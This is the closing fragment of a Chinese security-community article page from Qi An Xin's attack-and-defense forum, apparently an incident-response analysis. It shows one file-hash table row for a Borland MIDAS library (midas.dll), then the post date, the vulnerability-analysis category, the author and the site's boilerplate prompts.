`424317c15260bf7ebc92516cb90a7de4` | `8d169f57a7ab9399ea46a1cc30687b2bd23d3ee153d0a71a78f78b98e8b37808` | | **midas.dll**(Delphi MIDAS 客户端库) | 264192 | — | Borland / MIDAS | `7f63290fddec173fd009bf3e7ffe6d6b` | `b0d8a36a5cd4923517186b2f7a7e8820ff21691b8896c554eeb6764bbaaf3e4b` |
发表于 2026-08-04 17:57:10
阅读 ( 53 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
solar专业应急响应团队
8 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!